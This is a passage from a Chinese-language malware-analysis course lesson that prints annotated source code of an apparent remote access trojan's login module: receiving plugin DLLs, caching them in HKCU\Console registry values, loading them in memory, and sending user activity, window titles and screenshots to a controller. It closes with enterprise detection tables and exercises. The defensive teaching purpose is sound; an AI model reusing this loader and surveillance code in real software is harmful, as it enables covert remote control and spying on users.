    ::memcpy(
        pPluginDllShellcodeData,
        lpBuffer + 1 + sizeof(DllSendData),
        temp->dllDataSize);

    // pDllData 把插件数据和当前登录连接上下文打包。
    // 后续 Loop_DllManager 会直接消费这个结构。
    DllData* pDllData = new DllData;
    pDllData->m_sendDllData = temp;
    pDllData->m_pDllData = pPluginDllShellcodeData;
    pDllData->m_strMasterHost = m_strMasterHost;
    pDllData->m_nMasterPort = m_nMasterPort;
    pDllData->m_bIsTcp = m_bIsTcp;
    pDllData->m_nDllLoadMode = m_nDllLoadMode;
    pDllData->m_CLoginManager = this;
    g_vecDllDatas.push_back(pDllData);

    // 防御分析:插件数据写入 HKCU\Console\0 或 HKCU\Console\1。
    // 这会把网络数据转成本地 REG_BINARY 缓存。
    int writeregeditsize = sizeof(DllSendData) + temp->dllDataSize;
    char* writeregeditbuffer = new char[writeregeditsize];

    // 注册表值内容 = DllSendData 头部 + 插件二进制数据。
    memcpy(writeregeditbuffer, temp, sizeof(DllSendData));
    memcpy(writeregeditbuffer + sizeof(DllSendData),
           pPluginDllShellcodeData,
           temp->dllDataSize);

    HKEY hKey;
#ifdef _WIN64
    if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\1"), &hKey))
#else
    if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\0"), &hKey))
#endif
    {
        TCHAR* DllName = new TCHAR[255];

        // 值名由插件名计算 MD5,真实插件名不会直接出现在值名中。
        BufToMd5(DllName, temp->szDllName);

        // 写入 REG_BINARY。企业侧可把该事件和前面的 COMMAND_SENDLL 关联。
        ::RegSetValueEx(hKey, DllName, 0, REG_BINARY,
            (unsigned char*)writeregeditbuffer, writeregeditsize);
        SAFE_DELETE_AR(DllName);
    }

    // 触发点:收到并缓存插件数据后,启动加载线程。
    // 线程入口是 Loop_DllManager,后续会进入 LoadLibrary 或 MemoryLoadLibrary。
    HANDLE hWorker = (HANDLE)_beginthreadex(
        NULL, 0, Loop_DllManager, (void*)pDllData, 0, NULL);
    CloseHandle(hWorker);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

# 14. Loop_DllManager:动态加载边界

插件数据真正进入高风险边界是在 Loop_DllManager。Debug 使用 LoadLibrary,Release 使用 MemoryLoadLibrary

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:11-49
unsigned int __stdcall Loop_DllManager(void* pVoid)
{
    // pVoid 来自 _beginthreadex 的参数,实际类型是 DllData*。
    // 该结构包含插件二进制数据、插件元信息和登录模块连接上下文。
    DllData* pDllData = (DllData*)pVoid;

    // DLLMain 是插件导出函数 Main 的函数指针类型。
    // 插件 Main 会接收登录模块传来的 ip、port、istcp。
    typedef void (*DLLMain)(
        TCHAR* ip,
        DWORD port,
        BOOL istcp,
        BOOL RunDllEntryProc);

    // lpproc 保存 GetProcAddress / MemoryGetProcAddress 得到的导出函数地址。
    DLLMain lpproc;

    // m_nDllLoadMode 决定插件加载路径。
    // DLL_MEMLOAD 是本课重点:Release 分支会从内存数据加载。
    switch (pDllData->m_nDllLoadMode)
    {
    case DLL_MEMLOAD:
    {
#ifdef _DEBUG
        // Debug:从本地 DLL 文件加载,方便开发调试。
        // 如果企业环境出现该分支,要继续确认是否为合法调试构建。
        HMODULE hDllModule = ::LoadLibrary(pDllData->m_sendDllData->szDllName);
#else
        // Release:从内存中的插件数据加载 PE。
        // 防御分析:这是内存加载边界,重点看内存 PE、动态导出和线程启动。
        // 输入是 pDllData->m_pDllData 和 dllDataSize,来源于 COMMAND_SENDLL。
        HMEMORYMODULE hDllModule = ::MemoryLoadLibrary(
            pDllData->m_pDllData,
            pDllData->m_sendDllData->dllDataSize);
#endif

        if (hDllModule != NULL)
        {
#ifdef _DEBUG
            // Debug 分支查找普通 DLL 导出函数 Main。
            lpproc = (DLLMain)::GetProcAddress(hDllModule, "Main");
#else
            // Release 分支查找内存模块中的导出函数 Main。
            lpproc = (DLLMain)MemoryGetProcAddress(hDllModule, "Main");
#endif
            if (lpproc != NULL)
            {
                // 插件 Main 继承登录模块的地址、端口和协议模式。
                // 这是登录模块成为后续插件连接上下文中转站的直接证据。
                (*lpproc)(
                    pDllData->m_strMasterHost,
                    pDllData->m_nMasterPort,
                    pDllData->m_bIsTcp,
                    false);
#ifdef _DEBUG
                ::FreeLibrary(hDllModule);
#else
                // 释放 MemoryModule 加载出的内存模块。
                MemoryFreeLibrary(hDllModule);
#endif
            }
        }
    }
    break;
    }

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

MemoryModule 的核心接口如下。

// 源码位置:主插件/登录模块/登录模块/MemoryModule.h:48-79
// 该组件来自 MemoryModule,原作者 Joachim Bauch,MPL 2.0 许可。
// 用途:把内存中的 PE 数据当作模块加载,并解析导出函数。
// 防御分析:调用这些接口时,应结合插件数据来源、线程入口和注册表缓存一起判断。

// 从内存地址和长度加载 PE 数据,返回内存模块句柄。
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);

// 从内存模块中查找导出函数,常见目标是 "Main"。
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);

// 释放内存模块。
void MemoryFreeLibrary(HMEMORYMODULE);
1
2
3
4
5
6
7
8
9
10
11
12
13

# 15. 状态上报和屏幕相关逻辑

心跳和状态命令都会触发 SendCondition

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:641-648
case TOKEN_HEARTBEAT:
{
    // lpBuffer[1] 是状态标志:0 表示只发基础状态,非 0 表示发送更完整状态。
    // 心跳包触发状态上报时,要把网络心跳和主机采集行为放在同一时间线。
    if (lpBuffer[1] == 0)
        SendCondition(false);
    else
        SendCondition(true);
}
break;

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:372-375
case COMMAND_GET_PROCESSANDCONDITION:
{
    // 主动请求进程和状态时,强制发送完整状态。
    SendCondition(true);
}
break;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

SendCondition 会采集用户活跃状态、前景窗口,必要时附带缩略屏幕数据。

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:695-727
void CLoginManager::SendCondition(bool all)
{
    // DataUpdate 是状态上报结构体,后续可能单独发送,也可能和截图数据拼接发送。
    DATAUPDATE* DataUpdate = new DATAUPDATE;
    memset(DataUpdate, 0, sizeof(DATAUPDATE));

    // TOKEN_CONDITION 表示这是一条状态上报数据。
    DataUpdate->Btoken = TOKEN_CONDITION;

    // 采集用户活跃状态和当前前景窗口。
    // 这些字段属于终端使用状态,涉及隐私,应结合业务授权判断。
    GetActive(DataUpdate->UserActive);
    getactivewindows(DataUpdate->Window);

    // screendatasize/x/y 由 GetScreen 写回,用于描述后续屏幕数据。
    int screendatasize = 0;
    int x = 0;
    int y = 0;

    // 防御分析:all 为 true 时可能采集缩略屏幕。
    // GetScreen 之后如果紧跟 Send,就形成“采集 -> 打包 -> 网络发送”的链路。
    byte* screendata = GetScreen(screendatasize, x, y, true, false, 0, 0);

    if ((screendatasize == 0) || (!all))
    {
        // 基础状态上报:只发送 DATAUPDATE。
        Send((LPBYTE)DataUpdate, sizeof(DATAUPDATE));
    }
    else
    {
        // 完整状态上报:DATAUPDATE 头部 + 屏幕数据。
        int SendSize = screendatasize + sizeof(DATAUPDATE);
        BYTE* lpPacket = new BYTE[SendSize];
        DataUpdate->iScreenWidth = x;
        DataUpdate->iScreenHeight = y;
        memcpy(lpPacket, DataUpdate, sizeof(DATAUPDATE));
        ::memcpy(lpPacket + sizeof(DATAUPDATE), screendata, screendatasize);

        // 触发点:屏幕相关数据被拼到网络包里发送。
        Send((LPBYTE)lpPacket, SendSize);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

图像压缩使用 ATL CImage

// 源码位置:主插件/登录模块/登录模块/LoginManager.cpp:832-854
unsigned long CLoginManager::BMP2JPEG(
    const char* pUnZipData,
    unsigned long ulUnZipDataLen,
    std::string* jpgData)
{
    // pUnZipData/ulUnZipDataLen 是前面屏幕采集得到的 BMP 数据。
    // jpgData 用来接收 JPEG 编码后的数据。
    HGLOBAL hGlobal = GlobalAlloc(GMEM_MOVEABLE, ulUnZipDataLen);
    void* pData = GlobalLock(hGlobal);
    ::memcpy(pData, pUnZipData, ulUnZipDataLen);
    GlobalUnlock(hGlobal);

    IStream* pStream = NULL;
    if (CreateStreamOnHGlobal(hGlobal, FALSE, &pStream) == S_OK)
    {
        // CImage 来自 ATL,用于加载 BMP 并保存为 JPEG。
        // 单独看图像转换不一定异常,要结合屏幕采集和网络上报。
        CImage image;
        if (SUCCEEDED(image.Load(pStream)))
        {
            IStream* pOutStream = NULL;
            if (CreateStreamOnHGlobal(NULL, FALSE, &pOutStream) == S_OK)
            {
                // 这里把 BMP 转为 JPEG,目的通常是降低后续传输体积。
                image.Save(pOutStream, Gdiplus::ImageFormatJPEG);
            }
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# 16. DbgHelp 和 WinINet 也要放进链路里

DbgHelp 用于崩溃转储,WinINet 用于 URL 读取。它们都是常见系统库,单独出现不能定性,但和登录链路组合时有分析价值。

// 源码位置:主插件/登录模块/登录模块/登录模块.cpp:320-345
int GenerateMiniDump(PEXCEPTION_POINTERS pExceptionPointers)
{
    // pExceptionPointers 来自异常处理回调,用于描述崩溃现场。
    typedef BOOL(WINAPI* MiniDumpWriteDumpT)(
        HANDLE, DWORD, HANDLE, MINIDUMP_TYPE,
        PMINIDUMP_EXCEPTION_INFORMATION,
        PMINIDUMP_USER_STREAM_INFORMATION,
        PMINIDUMP_CALLBACK_INFORMATION);

    // 动态加载 DbgHelp.dll 获取 MiniDumpWriteDump。
    // DbgHelp 常见于崩溃诊断,单独出现不定性;要和登录、长连接、插件加载关联。
    HMODULE hDbgHelp = LoadLibrary((_T("DbgHelp.dll")));
    MiniDumpWriteDumpT pfnMiniDumpWriteDump =
        (MiniDumpWriteDumpT)GetProcAddress(hDbgHelp, "MiniDumpWriteDump");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 源码位置:主插件/登录模块/登录模块/help.cpp:1366-1413
// 动态加载 wininet.dll,避免在导入表中直接表现为静态依赖。
HINSTANCE hdlldes = LoadLibrary(_T("wininet.dll"));

typedef HINTERNET(WINAPI* NETOPEN)(LPCTSTR, DWORD, LPCTSTR, LPCTSTR, DWORD);
// InternetOpenW 创建 WinINet 会话。
NETOPEN myNetOpen = (NETOPEN)GetProcAddress(hdlldes, "InternetOpenW");

typedef HINTERNET(WINAPI* NETOPENURL)(
    HINTERNET, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD_PTR);
// InternetOpenUrlW 打开目标 URL。
NETOPENURL myNetOpenUrl =
    (NETOPENURL)GetProcAddress(hdlldes, "InternetOpenUrlW");

typedef BOOL(WINAPI* APIS)(HINTERNET, LPVOID, DWORD, LPDWORD);
// InternetReadFile 读取网络内容,源码后续还会写入本地文件。
APIS myapis = (APIS)GetProcAddress(hdlldes, "InternetReadFile");

// 防御分析:动态解析 WinINet API 后读取 URL 并写入文件。
// 需要和进程路径、父进程、后续文件行为一起看。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 17. 企业检测点

企业检测关联视角

观察面 事件 关联方式
网络侧 长连接、心跳、固定登录包 关联进程路径、父进程、连接时间
主机侧 DLL 加载后创建线程、输入接口、窗口枚举 关联模块路径和线程起始地址
注册表侧 HKCU\Console\0/1 写入 REG_BINARY 关联 COMMAND_SENDLL 时间点
内存侧 MemoryLoadLibrary、动态导出 Main 关联插件线程和二进制缓冲区
设备枚举 摄像头、显卡、显示器、前景窗口 关联 LOGININFO 字段
图像处理 BMP/JPEG 转换 关联屏幕采集和网络上报

更可靠的检测组合:

组合 优先级
登录首包 + TOKEN_ACTIVED + TOKEN_GETAUTODLL
HKCU\Console\0/1 二进制缓存 + 内存 PE 加载
输入接口 + 前景窗口采集 + 长连接
单独加载 DbgHelp.dll 低,需要上下文
单独调用系统信息 API 低,需要上下文

# 18. 合法练习题

  1. 只阅读源码,不运行样本,画出 DllMain/run -> MainThread -> sendLoginInfo -> TOKEN_ACTIVED -> OnReceive 的调用链。
  2. LOGININFO 字段分成“资产信息”“运行状态”“隐私敏感信息”三类。
  3. 整理 HPSocket、MemoryModule、ATL CImage、DirectInput、DXGI、WinINet、DbgHelp 在本课中的用途。
  4. 基于防御日志假设,写一条关联规则思路:同一进程在短时间内出现长连接、HKCU\Console\0/1 二进制写入、内存 PE 加载时提高优先级。
  5. 检查 COMMAND_SENDLLdllDataSize 的使用,说明长度字段不可信时会带来哪些稳定性和安全风险。

本课要形成的核心认识:登录模块是后续插件能力的枢纽。它先建立网络身份,再维持激活状态,最后把插件数据、注册表缓存和内存加载串到一起。后续第 22 课到第 49 课也应按这种方式读:先说明触发点,再贴关键源码,再解释第三方库用途,最后给出企业检测点和合法练习。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>